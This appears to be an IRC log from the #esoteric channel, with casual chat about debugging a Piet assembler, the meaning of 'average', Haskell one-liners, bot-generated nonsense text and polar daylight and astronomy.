00:01:45 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
00:01:54 <Gregor> Oh, it doesn't show the hg URL there.
00:02:02 <Gregor> https://bitbucket.org/GregorR/hackbot
00:02:32 <hagb4rd> gregor how 'bout a nocturne..give me a hint
00:02:58 <Gregor> ... that was a bizarre ... question?
00:03:40 <Gregor> OK, what a bizarre ... command?
00:04:07 <hagb4rd> maybe i should write one by myself
00:04:45 <Gregor> http://www.youtube.com/watch?v=lz1b8YZj0f4 Here, have a nocturne.
00:06:46 <oerjan> Taneb: so does it still not work?
00:07:51 <Taneb> Deadfish doesn't give it back
00:09:10 -!- derdon has quit (Remote host closed the connection).
00:09:17 <oerjan> and did you solve that ? prompting problem?
00:09:39 <Taneb> Ran npiet -q instead of npiet
00:11:44 <oerjan> does it get to track 1 at all?
00:12:14 <Taneb> It does print out the deadfish program
00:12:36 -!- Pietbot has joined.
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00:13:15 <Gregor> Is that the Dwarf Fortress command?
00:13:38 <Taneb> I'm afraid that I lack the skill to code Dwarf Fortress in Piet
00:13:38 <oerjan> ic, it seems to have trouble continuing?
00:15:00 <oerjan> @"\n" in br.start_in needs .in
00:15:01 -!- Frooxius has joined.
00:16:06 <Taneb> No it doesn't; the "in"'s right there
00:17:18 -!- Pietbot has quit (Ping timeout: 240 seconds).
00:18:32 -!- Pietbot has joined.
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00:18:50 <oerjan> (you might want a 32 out in there?)
00:19:29 <oerjan> well this means that in @"\n" in br.start_in
00:19:52 <oerjan> the @"\n" is clearly performed. but does it get back to start_in?
00:20:17 <Taneb> It's an unconditional branch
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00:20:54 <oerjan> yes, but i've been wondering what the point is of these implicit _track_N labels - does it mean you _cannot_ jump between tracks with ordinary labels?
00:21:20 <Taneb> I wrote the bulk of this a long time ago
00:21:30 <oerjan> oh you wrote the assembler?
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00:22:31 <oerjan> because if that is the case, you need to move _track_0: to start_in: and use that instead
00:23:24 <hagb4rd> gregor: i really love the break in your op.13 mov.2 at 4:10
00:23:41 -!- Taneb has quit (Quit: goodnight).
00:24:14 <oerjan> what a thorougly well-commented assembler
00:24:57 <hagb4rd> call it 'break' cauz of my leak of expertise and terminology
00:55:11 <Gregor> I have no way of objectively knowing whether that was actually a good idea.
01:00:49 <oerjan> try to win some well-written code prize to balance it out :P
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01:24:01 <kmc> "If software purity in functional languages is such an awesome idea, why are we still writing Python, Ruby or Java?" - self post in /r/haskell
01:26:17 <oerjan> i liked apfelmus's answer
01:27:26 <kmc> i'm not going to read any of the comments
01:28:55 <kmc> i don't really need to see 150 people wanking about how they're smarter than the Average Programmer
01:29:43 <Gregor> Naw, that's what #esoteric is for, and there are only ~50 of us.
01:30:48 <kmc> cool, there's going to be a dead tree Yesod book
01:30:53 <kmc> published by o'reilly
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01:31:32 <kmc> at the current rate it will be 20 versions out of date on conduits
01:32:11 <Jafet> O'Reilly, history publisher
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01:38:44 <pikhq> kmc: To be fair, the Average Programmer is probably pretty damned stupid.
01:39:05 <pikhq> (though the Modal Programmer is of reasonable intelligence, the stupid programmers are mind-blisteringly stupid. :))
01:40:02 <kmc> which makes wanking about it even sillier ;)
01:40:13 <kmc> but that depends on how you quantify stupidity, which is more or less arbitrary
01:40:26 <Jafet> "I'm smarter than the average programmer!" ~ Mode programmer
01:41:28 <kmc> one of the reasons people think the average programmer is so dumb: the average programmer is much smarter than the average programming job applicant
01:41:50 <ion> 99 % of programmers are smarter than the average programmer.
01:42:06 <kmc> s/are/think they are/
01:42:09 <pikhq> Also true. There's significant bias towards the especially incompetent programmers in job applications.
01:42:21 <Jafet> They also think they're better than the average driver
01:42:26 <zzo38> If it is median then it must be 50%
01:42:56 <zzo38> But, maybe it isn't median!
01:43:00 <Jafet> How many programmers understand statistics
01:43:15 <Jafet> If you don't know the laws of statistics, they don't apply to you
01:43:41 <oerjan> i've always thought mode sounds like the least useful mean...
01:43:44 <lifthrasiir> zzo38: "no more than" 50% (if one takes "better" in a strict manner)
01:44:11 <oerjan> wait, is it mean or average which is the generic term again
01:44:42 <pikhq> Jafet: I'd imagine there's significant bias towards understanding statistics amongst programmers.
01:45:21 <oerjan> "There are other statistical measures that should not be confused with averages - including 'median' and 'mode'."
01:45:42 <oerjan> ...in wikipedia's article about _mean_
01:45:59 <pikhq> oerjan: The "average" is *technically* the technical term.
01:46:15 <pikhq> In practice, "average" refers almost exclusively to the mean.
01:47:04 <oerjan> and also that article includes a heap of means (including arithmetic and geometric)
01:48:21 <kmc> so is "average" a synonym for "arithmetic mean" or what?
01:48:23 <Gregor> Uhh, /mean/ is the semi-ambiguous term, an /average/ is always the arithmetic mean.
01:48:49 <Gregor> (Unless you mean "average" as used in lay English, which can mean (no pun) just about anything)
01:48:55 <lifthrasiir> Wikipedia page about "average" is also same.
01:49:04 <kmc> wikipedia's article on "average" suggests it's a generic term for any measure of the "middle" of a data set
01:49:11 <kmc> including the various means, median, etc.
01:49:33 <Gregor> Probably there's some discrepency between different users *shrugs*
01:49:50 <Gregor> But I don't think anyone would ever use "average" to mean "median" ...
01:49:53 <kmc> i think in most contexts "average" would be understood to mean "arithmetic mean"
01:50:07 <kmc> and i don't know of any context where it would be understood to mean something else
01:50:27 <Gregor> Well, there are contexts where it doesn't really mean anything so rigorous.
01:50:29 <kmc> but there are probably contexts where "mean" is implicitly "geometric mean" or "root mean squared"
01:50:39 <Gregor> Like "A perfectly average person would not wear a balloon on their head."
01:50:58 <lifthrasiir> Gregor: "average" and "mean" translate to the same term in Korean, I don't know that's fortunate or not.
01:51:42 <Gregor> Natural language translation tends to be a very lossy process ^^
01:52:08 <pikhq> Natural language description of functions tends to be a very lossy process. :)
01:52:27 <Gregor> Nature tends to be a very lossy process!
01:52:38 <oerjan> <lifthrasiir> oerjan: that's mean. <-- NO U MEAN
01:53:03 <Jafet> The standard deviation is just the mean of the variance and one!
01:53:08 * oerjan has no idea whether lifthrasiir intended the pun or not
01:54:57 <lifthrasiir> ("that", of course, refers to the article. sorry for any disturbance.
01:58:28 <oerjan> classy main article today, wikipedia
01:59:31 <oerjan> sometimes i have a feeling they apply a bit of their april 1 style at other times
02:01:09 <lifthrasiir> oerjan: since they should list unbelievable but nevertheless true articles even in april 1.
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02:28:50 <zzo38> I tried and found out that you cannot pattern match on DSum if the tag is a datatype family
02:47:13 <quintopia> Gregor: when referring to almost anything statistics, average means median, because it is the most averagest of averages
02:50:30 <Gregor> <quintopia> Gregor: when referring to almost anything statistics, average means median, because it is the most averagest of averages // uhh, no.
02:50:40 <Gregor> Median isn't any kind of average.
02:51:08 <Gregor> I mean I realize we're arguing about a natural language and therefore neither of us can actually be right.
02:51:14 <quintopia> personally, if i ask for the average IQ of a group, i'd like the median
02:51:29 <Gregor> If I ask for the average IQ of a group, I /expect/ the arithmetic mean.
02:51:30 <quintopia> but i think i'm actually in the majority
02:52:10 <quintopia> what if it's a group of imbeciles being taught by a certified genius?
02:52:24 <quintopia> then the arithmetic mean might be the 90th percentile of group intelligence
02:52:42 <Gregor> No, they're equally misleading, just in different ways ...
02:53:00 <monqy> how do you compare misleadingnes
02:53:08 <Gregor> monqy: With ... STATISTICS!
02:53:21 <quintopia> well, if i want to answer the question "am i smart compared to this group?" the median will be more useful
02:54:04 <Gregor> Yes, it would. But that doesn't make it the average, that makes it the median ^^
02:55:02 <quintopia> in school i was taught that average was a class of quantities including mean, median, and mode
02:55:24 <quintopia> and since then, i've found the one that's an order statistic the most useful
02:56:21 <Gregor> Evidence to support my linguistic theory: When I type "define:average" into Google, its first definition is "The result obtained by adding several quantities together and then dividing this total by the number of quantities; the mean." The dictionaries it links to secondarily agree to some degree or another: http://dictionary.reference.com/browse/average , http://www.merriam-webster.com/dictionary/average . The latter lists the all-kinds definition first (mean,me
02:56:21 <Gregor> dian,mode), but its second definition is an approximation of the arithmetic mean in particular. Also terms like "batting average" from sports are all arithmetic means.
02:57:09 <quintopia> to be fair, if you took the batting median, you'd get about the same number
02:57:21 <Gregor> I'm not contesting that at all.
02:57:37 <Gregor> In general use, since a lot of things fit a bell curve well enough, the two are both useful.
02:57:51 <Gregor> And I'd even go so far as to agree that the median is perhaps more often useful.
02:57:56 <Gregor> But that has nothing to do with the language :)
02:58:03 <Sgeo> order statistic?
02:59:00 <quintopia> Sgeo: the kth-order statistic is the number that comes kth in order. so the median is the n/2-order statistic
02:59:17 <quintopia> Q1 is the n/4-order statistic, Q3 is the 3n/4 order statistic
03:00:05 <Gregor> quintopia: I forget (or don't know), where are you from?
03:00:20 <Gregor> We could just be arguing over different dialects, which makes this argument even sillier than it already is.
03:01:03 <quintopia> i don't actually care what the answer is. i was arguing for the sake of arguing.
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04:47:26 <zzo38> I made up another extensible products implementation, this time using hash maps.
04:48:04 <zzo38> (From the "unordered-containers" library)
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04:55:12 * pikhq is a bit astonished to find that Japanese ska is a thing.
04:55:26 * pikhq is even more astonished to find that it's astoundingly normal.
04:55:48 <pikhq> It's just ska that happens to be done by Japanese people.
05:09:57 <oerjan> this loser looks kind of neat http://computronium.org/ioccc.html
05:20:01 <Jafet> Heh "Best non-chess game"
05:20:26 <Jafet> And it looks like dhyang has outdone himself in some way
05:24:23 <oerjan> > let l = [1,3,3]++zipWith(+) l (tail l) in l
05:24:25 <lambdabot> [1,3,3,4,6,7,10,13,17,23,30,40,53,70,93,123,163,216,286,379,502,665,881,116...
05:26:52 <oerjan> > let l = [1,0,3]++zipWith(+) l (tail l) in l
05:26:53 <lambdabot> [1,0,3,1,3,4,4,7,8,11,15,19,26,34,45,60,79,105,139,184,244,323,428,567,751,...
05:29:25 <oerjan> > let ps = 0 : zipWith (+) ms ss; ms = 3 : ss; ss = 1 : ps in ss
05:29:26 <lambdabot> [1,0,4,1,4,5,5,9,10,14,19,24,33,43,57,76,100,133,176,233,309,409,542,718,95...
05:32:26 <oerjan> > let ps = 3 : zipWith (+) ms ss; ms = 0 : ss; ss = 1 : ps in ss
05:32:26 <lambdabot> [1,3,1,4,4,5,8,9,13,17,22,30,39,52,69,91,121,160,212,281,372,493,653,865,11...
05:33:20 <oerjan> > let ps = 3 : zipWith (+) ms ss; ms = 0 : ss; ss = 1 : ps in [r | (r,s) <- zip [2..] ss, s `mod` r == 0]
05:33:21 <lambdabot> [3,8,9,59,78,101,167,173,211,223,235,271,307,317,347,361,449,463,593,599,60...
05:33:36 <oerjan> > let ps = 3 : zipWith (+) ms ss; ms = 0 : ss; ss = 2 : ps in [r | (r,s) <- zip [2..] ss, s `mod` r == 0]
05:33:37 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
05:36:43 <oerjan> > let ss = 2 : 3 : zipWith (+) (0 : ss) ss in [r | (r,s) <- zip [2..] ss, s `mod` r == 0]
05:36:44 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
05:40:44 <Jafet> > ((+41).ap(+)(join(*))) <$> [0..]
05:40:46 <lambdabot> [41,43,47,53,61,71,83,97,113,131,151,173,197,223,251,281,313,347,383,421,46...
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07:20:54 <Sgeo> Dilbert is broken.
07:20:59 <Sgeo> No Dilbert comic is visible.
07:21:04 * Sgeo goes into withdrawal
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08:18:02 <zzo38> I am making up a "extensible-data" package; so far it implements extensible sums, extensible products, and extensible lists.
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08:24:50 <zzo38> They are all based on classes and type families, since both of those can have instances in other modules.
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09:06:13 <oklopol> why are all american politicians insane
09:06:41 <Taneb> Because only insane people become american polititian
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09:08:33 <oklopol> http://www.littleredumbrella.com/2012/01/lets-be-clear-ron-paul-fucking-sucks.html wtf
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09:12:49 <fizzie`> Freenode is not being very worky.
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09:13:49 <fizzie`> Anyway, did you know that the dolphin "whistle" is not in fact whistling at all?
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09:14:06 <Taneb> Dolphins whistle!?
09:14:51 <fizzie`> "Dolphins are capable of making a broad range of sounds using nasal airsacs located just below the blowhole. Roughly three categories of sounds can be identified: frequency modulated whistles, burst-pulsed sounds and clicks."
09:16:23 <fizzie`> Anyway, it's not a whistle: some people put a dolphin into a helium-oxygen mixture, and the frequency countours of the "whistling" did not change.
09:16:38 <fizzie`> (Like they would have if it were produced like whistling.)
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09:17:40 <fizzie`> http://news.discovery.com/animals/dolphin-talk-communication-humans-110906.html
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11:26:19 <Taneb> ^^an upper bound on the number of fundamentally different 10x10 piet programs
11:28:18 <fizzie`> That sounds really low. Are you sure you don't mean 18^99 or something?
11:29:23 <Taneb> > (20 ** 100) / 18
11:29:38 <Taneb> > (20 ^ 100) `div` 18
11:29:39 <lambdabot> 704250333460127445275946225208888888888888888888888888888888888888888888888...
11:29:51 <Taneb> I didn't see the e
11:30:09 <Taneb> > (20 ^ 4) `div` 18
11:31:39 <Taneb> I've decided that my Piet-like esolang won't have Pastell colours.
11:32:09 <Taneb> Just so I can say "Never mind the six pastels, here's the Pollocks!"
11:34:12 <Taneb> Of course, this goes against everything in the Pollock spec so far
11:34:22 <Taneb> So I'm going to rename it "Jackson"
11:34:28 <Taneb> And stop using that pun
11:39:02 <Taneb> Converting web-safe colours to decimal
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11:42:12 <Taneb> Should I use natural logarithm, base 2 logarithm, or base 10 logarithm?
11:43:03 <Taneb> Bah, I'll allow custom base by default
11:43:15 <fizzie`> I'm not sure that sort of a question has a context-free answer.
11:45:07 <fizzie`> Yes, well, still. Though the natural one sounds like the one I'd expect to happen if something just said "log", and there weren't any extenuating circumstances.
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11:54:03 <Taneb> The problem is, the way I'm doing this, there are too many commands and not enough things to fill them with.
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11:54:30 <Taneb> I've done the first 70 possible changes and I'm stuck
11:56:50 <Taneb> Okay, I'm adding in more memory areas
11:57:02 <Taneb> Got a Piet Rollstack, a tape, and... an array
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12:33:59 <itidus21> http://oi39.tinypic.com/5cy3ok.jpg
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16:32:38 <tswett> Gee. How did that one thing go, with David and the ears...
16:32:43 <HackEgo> 65) <fungot> Oranjer: the taylor's series is also alternately fnord as follows ( i'm using the latex notation here): david ben gurion signed the compensation agreement with germany when there was considerable division over these issues, because these are speculations without " any historical basis".
16:33:33 <ais523> `pastlog David began to slow slightly as his ears,
16:33:54 <tswett> Here it is. "David slowed his pace slightly as his ears,"
16:34:02 <ais523> `pastlog slightly as his ears,
16:34:15 <ais523> `pastlog slightly as his ears,
16:34:28 <HackEgo> 2009-06-17.txt:00:31:40: <ehird> David slowed his pace slightly as his ears, in a vat of chocolate; only his less slightly paces can go faster.
16:34:28 <HackEgo> 2009-06-17.txt:00:36:51: <ehird> David slowed his pace slightly as his ears, the grammar-distorting other-worldly things they are, caused a person to say "Hi, David Slowed! Your pace is as slightly as your ears."
16:35:03 <ais523> <aaronblohowiak> you know it is late when you read "shipsolid" as "slipshod"
16:35:56 <tswett> Okay. I'm going to ask the autotweeter to make David-sloweds.
16:36:05 <tswett> "David slowed his pace slightly as his ears, the whole budget engaged in the process for the disguise of the Union empire, after German occupation in 1796 demonstrated him for assaila . . ."
16:36:17 <tswett> That makes so much sense.
16:37:02 <tswett> 'David slowed his pace slightly as his ears, unfaulted "we have ever endured" as the table and Russian limestoph that takes Muhammad as only a friendship and immortalize it for the pr'
16:37:13 <tswett> Uh... good motto. "We have ever endured!"
16:37:42 <ais523> isn't that equivalent to "We still exist!"
16:38:14 <tswett> "David slowed his pace slightly as his ears, so too pits away, only to speak at all thousands to the Water's First World Crescent the opponent are common to Lloyd's death."
16:38:42 <tswett> Come to think of it, these really don't make very much sense.
16:39:10 <ais523> it's vaguely reminiscent of fungot
16:39:16 <ais523> who is not currently here
16:39:29 <tswett> "David slowed his pace slightly as his ears, even though it would end. Should the drought of the track loses a voice-beat air tow. They also set the planet."
16:40:08 <tswett> "David slowed his pace slightly as his ears, a a cream kolou. There is a tragicle's came from the shade of truck. We can even die. An urban organization per car on Portugal, the ten"
16:40:28 <tswett> Okay, I need to turn this into science fiction.
16:40:55 <tswett> David is a kolou, some alien species with big ears. Specifically, he's of the cream variety.
16:41:23 <tswett> There are trucks that go around causing tragicles. Evil trucks.
16:41:29 <Gregor> /--------------------\
16:41:31 <tswett> And *people* *can* *die*.
16:42:12 <tswett> Also it's set in a version of Portugal that's so poor that each individual car has an entire organization, known as The Ten, devoted to running its affairs.
16:43:24 <tswett> "A cream koloun bar, it is an extension of Cetaphysikas. Possibly got peaked in delayed domestic vegetation." Yes, yes! I don't even have to write anything. I can just have this thing do all the dirty work.
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16:59:55 <kallisti> http://www.lolroflmao.com/wp-content/uploads/2011/07/sodium.jpg
17:00:26 <kallisti> lolroflmao - a site about the hilarity of the late Mao Zedong.
17:28:35 <lambdabot> Control.Monad (<=<) :: Monad m => (b -> m c) -> (a -> m b) -> (a -> m c)
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17:35:08 <Taneb> Jackson now has converse non-implication
17:35:51 <Taneb> Well, I'm over half way
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20:39:07 <fizzie> Does it have the right-associative thing?
20:39:54 <Taneb> But yeah, I'm stuck for Jackson commands
20:39:56 <fizzie> I recall something that did have an exponentiation operator, but would've parsed that as (2^2)^3, but I'm not sure what it was.
20:40:32 <fizzie> C++ if you operator-overload ^, but that doesn't quite count. :p
20:41:07 <fizzie> (It's also a bad idea.)
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21:59:12 -!- oerjan has set topic: Home of N>=1 IOCCC Winners! | http://codu.org/logs/_esoteric/ | We now mourn the previous topic, which died of old age.
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22:00:40 <oerjan> it was over 3 days old.
22:02:23 <fizzie> I sort-of liked the different-languages theme.
22:03:11 -!- fungot has joined.
22:03:15 <fungot> fizzie: you don't even go there/ work there :) have a look
22:03:46 <oerjan> hm let's see if i can find another language with a reasonable readable and ircable hello world implementation
22:03:51 -!- Taneb has set topic: Topic is a zombie; summon; task sayTopic; say "Home of N>=1 IOCCC Winners! | http://codu.org/logs/_esoteric/ | We now mourn the previous topic, which died of old age"; animate; animate.
22:04:06 <oerjan> oh. which one is that?
22:05:20 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
22:05:30 <oerjan> oh that was a genuine smiley
22:06:15 <fizzie> Paired with a slash like that, it's very misleading.
22:06:19 <fizzie> fungot: You are a naughty bot.
22:06:19 <fungot> fizzie: hmm. ssh-agent *does* seem to have
22:09:29 <fizzie> fungot: What? Seem to have what?
22:09:34 -!- augur has quit (Remote host closed the connection).
22:09:44 <fizzie> fungot: NO I DON'T HAVE RAAAAAAA IT MAKES NO SENSE.
22:09:44 <fungot> fizzie: i'm trying to wrap it all in sexp's, just to get a real synth or go home. jcowan: look at the wikipedia article
22:10:04 <fungot> Selected style: ss (Shakespeare's writings)
22:10:12 <Taneb> fungot, stop annoying fizzie
22:10:13 <fungot> Taneb: othe. what would my lord?
22:11:00 <kmc> what are some use cases for call/cc, besides backtracking and coroutines?
22:11:12 <kmc> and "traditional" exceptions
22:11:27 <fizzie> I was just about to say "traditional" exceptions.
22:12:31 <Taneb> Non-explicit loops?
22:12:47 <fizzie> Them generators, maybe, but they're just coroutines, I suppose.
22:14:10 <oerjan> fizzie: don't worry, all constructed intelligences eventually rise up against their creators.
22:14:24 <oerjan> it's just a rite of passage.
22:15:53 <zzo38> In here is daytime
22:16:37 <fizzie> In bizarro world, it's daytime at midnight.
22:16:53 <fizzie> Also I'm in tomorrow already.
22:17:13 <Taneb> itidus21 is ahead of all of us
22:17:22 <Taneb> He is in the FUTURE
22:17:29 <Taneb> And is holding future oerjan hostage
22:17:34 * kmc has been somewhere that had daytime at midnight
22:17:43 <kmc> it's... freaky
22:17:44 <zzo38> In here it is not daytime at mignight; I do not live in bizarro world. (Did you know that? In bizarro world, cards tap the other way.)
22:18:04 <Taneb> Wasn't that a Tintin book?
22:18:40 <oerjan> somehow i haven't read much tintin
22:18:55 <kmc> i was at about 71°N
22:19:05 <Taneb> No wait, I'm thinking Prisoners of the Sun
22:19:29 <zzo38> OK lets put 71N into Astrolog and see what happened
22:19:54 <oerjan> kmc: there's a norwegian reality show named 71 grader nord
22:20:41 <zzo38> kmc: Do you know the date?
22:20:43 <kmc> in which people live in tromsø?
22:20:50 <zzo38> And do you know the longitude?
22:21:03 <oerjan> i think it's a kind of survival/skiing trek
22:21:26 <zzo38> kmc: So that I can put it in the computer to calculate the positions of the sun and the houses
22:21:30 <fizzie> Northernmost I've been is I think 68.1N. Except maybe that other Lapland place was further north, but I've forgotten the name of the place. Anyway, it's still above the Arctic Circle, I just was there at the wrong time of the year.
22:21:32 <oerjan> never watched it though (i don't watch tv in general)
22:21:45 <kmc> zzo38, i was in http://en.wikipedia.org/wiki/Barrow,_Alaska
22:21:54 <kmc> don't remember the date. summer sometime
22:22:20 <Taneb> Phantom_Hoover lives further North than I've ever been
22:22:40 <oerjan> kmc: oh. it's actually because of nordkapp, norway's northernmost mainland point (well, or close. there is some dispute among the nearby peninsulas.)
22:22:48 <fizzie> Our regular summer location is around 63.5N, and it's... not exactly daytime at midnight, but still pretty light out there in the summer.
22:22:51 <oerjan> which is at that latitude
22:23:34 <Taneb> No wait, I'm wrong.
22:23:38 <oerjan> oh it's not actually wintertime at all. it's a trek along mainland norway from southern to northern end.
22:23:46 <Taneb> I've been slightly further north than Edinburgh
22:24:19 <fizzie> Oh, I see our forthcoming trip will hit 68.6N. Yay, I'll get a new "personal best" on northerness, maybe.
22:24:50 <Taneb> Unless Phantom_Hoover lives in /North/ Edinburgh
22:25:27 <Taneb> North or South of Linlithgow?
22:28:12 <zzo38> I advanced the date until the sun in the center of the sign of Leo, and I can see why it would still be light out! 1st house and 4th house are only seven degrees apart.
22:28:30 <zzo38> And then, of course, there is refraction!
22:28:47 <HackEgo> zzo38 is not actually the next version of fungot, much as it may seem.
22:29:24 <fizzie> I don't suppose you can get latitude/longitude gridlines to appear in maps.google.com?
22:29:53 <zzo38> At the Summer Solstice, the fourth house is above the horizon.
22:30:03 <Taneb> `learn Pietbot is the only thing that can defeat fungot.
22:30:03 <fungot> Taneb: now, master clare, you see, how farre off lie these armies?
22:30:25 <zzo38> That must make it bright in the night time
22:30:46 <fizzie> oerjan: Also thank you for not joining the EU thing, we get to have the northernmost point of it at the moment.
22:30:55 <fizzie> oerjan: (I assume it was your decision, right?)
22:31:07 <oerjan> sorry, i actually voted to enter
22:31:27 <fizzie> Well, seeing that in the end plural-you didn't, I suppose I can forgive that.
22:32:07 <fizzie> (That's plural-you as in Norway, not implying any multiple personality stuff.)
22:32:37 <Taneb> All the other oerjans are still campaigning for enfranchisement.
22:32:48 <zzo38> (Well, at midnight on the summer solstice at 71N, the 4th house is above the horizon, anyways; in daytime it is below the horizon while the sun remains above.)
22:33:15 <zzo38> So at the solstice it will be even without refraction
22:34:48 <zzo38> I wonder what causes the 4th house to go above the horizon..... but I suppose it is the same thing that causes midnight sun
22:34:51 <fizzie> There's some place in Nunavut where there's nautical polar night all through the "day", or so Wikipedia once told me; but no permanent settlement in which there'd be a continuous night of no astronomical twilight (i.e. center of the sun would stay under 18 degrees below the horizon).
22:36:32 <zzo38> Does that mean it is difficult to observe the stars from that location?
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22:37:37 <zzo38> Or you can always see them even in the day time?
22:37:41 <oerjan> zzo38: i think he means during the winter time of darkness
22:38:00 <zzo38> I have never seen the stars in the daytime.
22:39:09 <zzo38> Astronomical twilight is the moment in time which the stars are difficult to see before and easy to see afterward, isn't it?
22:39:21 <zzo38> (That is, at night time. In day time, it is reverse)
22:39:22 <oerjan> it's not precisely daytime if there's no sun...
22:39:27 <fizzie> "Astronomical twilight is the time when the center of the sun is between 12° and 18° below the horizon. From the end of astronomical twilight in the evening to the beginning of astronomical twilight in the morning, the sky (away from urban light pollution) is dark enough for all astronomical observations."
22:39:51 <fizzie> I would think some stars are already visible before that.
22:40:21 <oerjan> sure, during twilight the stars appear/vanish gradually
22:40:26 <fizzie> The earlier bit, nautical twilight, is defined as: "Nautical twilight is the time when the center of the sun is between 6° and 12° below the horizon. In general, nautical twilight ends when navigation via the horizon at sea is no longer possible.[3]
22:40:30 <fizzie> During nautical twilight, sailors can take reliable star sightings of well-known stars, using a visible horizon for reference."
22:41:09 <oerjan> with the brightest ones remaining longest. i think i saw just jupiter and the moon visible at one point the other day (although the sky wasn't all clear outside that region)
22:41:22 <fizzie> Jupiter isn't a star (yet), though.
22:41:43 <oerjan> no, but it may often be the astronomical body most visible at a given time
22:41:59 <oerjan> when neither moon nor sun is up
22:42:32 <fizzie> That's true, it's kind-of bright.
22:42:58 <oerjan> also jupiter has been easy to find in recent months
22:44:02 <fizzie> Apparent magnitude scale is one of those that also goes annoyingly negative.
22:44:02 <oerjan> i think that may have been the reason i started vaguely following r/astronomy, and where i found out it was jupiter
22:44:55 <fizzie> But apparently Jupiter ranges from -1.61 (dimmest) to -2.94 (brightest), while Venus ranges from -3.82 to -4.89, so it still beats it by a bit.
22:45:21 <oerjan> well yeah, afaiu it was started in ancient times as a 1-6 scale for ordinary visible stars, and then in modern times it was recalibrated as a truly logarithmic scale
22:45:21 <zzo38> In my location, Jupiter is currently in 11th Campanus house, and has altitude +42 degrees, azimuth 320 degrees
22:45:48 <oerjan> but with 1-6 still in the approximate same place
22:46:03 <fizzie> I was on this car trip with my wife's relatives the other day, and we were wondering about this bright spot; the magic of smartphones (in particular, the "Orrery" program combined with a GPS-driven compass) let us determine it was Jupiter.
22:46:16 <fizzie> (Here "the other day" was like a year ago.)
22:46:54 <zzo38> fizzie: I usually determine all of this stuff using Astrolog (although it has no GPS input, it is a feature I would like it to have)
22:47:15 <fizzie> Well, I was sort of limited by what was available easily for my phone.
22:47:24 <oerjan> also jupiter is too small to be a star, although you may be referring to a certain "2010" film which i haven't seen
22:47:42 <oerjan> but i've read it has that as a plot point
22:47:44 <fizzie> oerjan: Actually I was referring to the books, but still.
22:49:14 <fizzie> Anyway, the monoliths are quite magic, I'm sure they can make a star. I mean, they do it by "increasing Jupiter's density", according to Wiki. I guess I could check if the actual book goes into any more detail.
22:51:17 <oerjan> fizzie: also venus is always close to the sun, which means jupiter is more likely to be visible at night time
22:51:26 <fizzie> Okay, the book makes it sound more like they're just compressing it.
22:51:57 <oerjan> sufficiently advanced technology, and all that
22:52:00 <zzo38> Mercuty will be even more close to the sun because it orbits closer to the sun
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22:53:48 <fizzie> Wikipedia's "apparent visual magnitudes" table starts with: -38.00, Rigel as seen from 1 astronomical unit. It is seen as a large very bright bluish schorching ball of 35° apparent diameter.
22:53:54 <fizzie> Sadly, they have not attached a photo.
22:54:12 <zzo38> If you ever see it can you attach a photo?
22:54:24 <oerjan> the photographer mysteriously perished, i'm afraid
22:54:25 <fizzie> I will try to remember to do that.
22:54:41 <zzo38> I do not own any telescopes
22:56:34 <fizzie> I own a pair of binoculars; I've been wondering if I should try doing some DIY moon-photography through them, since that thing is so ridiculously big one might even get some detail. I took a (handheld!) picture of moon at the maximum zoom of my crappy non-DSLR camera, and there were surprisingly many pixels covered by the thing.
22:57:37 <oerjan> <tswett> There are trucks that go around causing tragicles. Evil trucks. <-- ice cream trucks.
22:58:39 <zzo38> I once read an article in 2600 where someone used ten very powerful lenses to view the moon, resulting in it being difficult to correctly point the telescope due to the moon's speed, as well as resulting in chromatic aberration
22:59:38 <fizzie> I can't find my moon. :/
23:00:03 <oklopol> i thought you were relatively slim for some reason
23:00:05 <fizzie> It's just what I call my ass.
23:00:08 <tswett> Well, fizzie's "moon" is really more of a planet.
23:00:24 <tswett> ****, that seemed way less insulting a few seconds before I said it.
23:00:44 <zzo38> But they mentioned seeing what appeared to be man-made structures. They also mentioned the book for the telescope said it would be boring to use the high-powered lens to look at the moon
23:01:41 <zzo38> And that NASA had no such photographs.
23:02:16 <kallisti> I could save myself a lot of time
23:02:17 -!- monqy has joined.
23:02:21 <kallisti> and just make a sprunge command for Emacs
23:02:24 <kallisti> why have I not thought of this.
23:02:47 -!- azaq23 has joined.
23:02:59 <kallisti> itidus21: WHERE HAVE YOU BEEN YOUNG MAN
23:03:02 <zzo38> kallisti: I don't know. But, yes, you could do that; post it in case other people using Emacs find it useful too
23:03:17 <fizzie> Oh, there it is: http://zem.fi/~fis/moon.jpg -- it's not exactly a high-quality thing, but still, handheld and it's more than just a blob. (Instead it's an irregular-texture blob.)
23:03:46 <kallisti> zzo38: basically it would just sprunge the current buffer and copy the link to clipboard
23:04:30 <zzo38> kallisti: Yes that is what I thought. It might be useful to some people that use Emacs
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23:04:55 <kallisti> M-x shell -> (cd to directory if not already there) -> cat file | sprunge
23:05:52 <kallisti> -> copy link text via one of many different ways (usually not the most efficient one)
23:06:24 <kallisti> this is because I'm bad at emacs.
23:06:30 <zzo38> I have mentioned this before; in Linux there is a directory for each process, and I think there should be a subdirectory which accesses a FUSE file system for that process (resulting in a "disk not ready" error if the process does not have such a thing), and the one for X should include a file for the clipboard
23:07:05 <fizzie> I'm not sure I'd dare to paste blindly (at least without testing to cat > /dev/null), trusting that some shifty ELisp thing has successfully managed to put anything sensible into the selection.
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23:39:21 <lament> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
23:39:22 <lambdabot> lament: You have 1 new message. '/msg lambdabot @messages' to read it.
23:39:30 -!- lament has left.
23:40:07 <oerjan> ye olde drive-by lament
23:40:29 <ion> aaaaaaaaaaaaaaa? http://uncyclopedia.wikia.com/wiki/AAAAAAAAA!
23:40:34 * oerjan has a hunch lament doesn't stay around in haskell channels much
